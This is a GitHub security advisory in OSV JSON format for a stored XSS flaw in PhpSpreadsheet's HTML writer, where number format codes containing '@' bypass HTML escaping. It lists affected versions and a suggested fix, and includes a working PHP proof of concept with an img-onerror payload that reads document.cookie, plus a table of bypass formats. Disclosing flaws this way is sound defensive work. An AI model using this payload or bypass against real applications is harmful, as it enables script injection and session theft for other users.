{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.6.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.15"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.30.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40296"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-28T22:57:13Z",
    "nvd_published_at": "2026-05-06T22:16:25Z",
    "severity": "MODERATE"
  },
  "details": "It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.\n\n## The Problem\n\nIn `Writer/Html.php` around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply `htmlspecialchars()`:\n\n```php\nif ($cellData === $origData) {\n    $cellData = htmlspecialchars($cellData, ...);\n}\n```\n\nWhen a cell has a custom number format containing `@` (text placeholder) with any additional literal characters, the formatter replaces `@` with the cell value and adds the extra characters. This makes `$cellData !== $origData`, so `htmlspecialchars()` is **skipped entirely**.\n\nEven a single trailing space in the format (`@ `) is enough to bypass the escape.\n\n## Proof of Concept\n\n```php\nuse PhpOffice\\PhpSpreadsheet\\Spreadsheet;\nuse PhpOffice\\PhpSpreadsheet\\Writer\\Html;\nuse PhpOffice\\PhpSpreadsheet\\Cell\\DataType;\n\n$spreadsheet = new Spreadsheet();\n$sheet = $spreadsheet-\u003egetActiveSheet();\n\n// XSS payload with malicious number format\n$sheet-\u003esetCellValueExplicit(\u0027A1\u0027, \u0027\u003cimg src=x onerror=alert(document.cookie)\u003e\u0027, DataType::TYPE_STRING);\n$sheet-\u003egetStyle(\u0027A1\u0027)-\u003egetNumberFormat()-\u003esetFormatCode(\u0027. @\u0027);\n\n$writer = new Html($spreadsheet);\n$writer-\u003esave(\u0027output.html\u0027);\n```\n\nThe generated HTML contains:\n```html\n\u003ctd\u003e. \u003cimg src=x onerror=alert(document.cookie)\u003e\u003c/td\u003e\n```\n\nThe XSS payload is **completely unescaped**.\n\n## Tested Bypass Formats\n\n| Format Code | Result | Escaped? |\n|---|---|---|\n| `General` (default) | Original value | YES (safe) |\n| `. @` | `. ` + value | **NO (XSS!)** |\n| `@ ` (trailing space) | value + ` ` | **NO (XSS!)** |\n| `x@` | `x` + value | **NO (XSS!)** |\n\nThis was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.\n\n## Impact\n\nAny application that:\n1. Accepts uploaded XLSX files from users\n2. Converts them to HTML using PhpSpreadsheet\u0027s HTML writer\n3. Displays the HTML to other users\n\n...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file\u0027s `xl/styles.xml`.\n\n## Suggested Fix\n\nAlways apply `htmlspecialchars()` regardless of whether formatting changed the value:\n\n```php\n// Instead of conditional escaping:\n$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, \u0027UTF-8\u0027);\n```\n\nOr escape AFTER formatting, not conditionally based on equality.\n\n## Reporter\nKeyvan Hardani",
  "id": "GHSA-hrmw-qprp-wgmc",
  "modified": "2026-05-08T19:32:34Z",
  "published": "2026-04-28T22:57:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-hrmw-qprp-wgmc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40296"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer"
}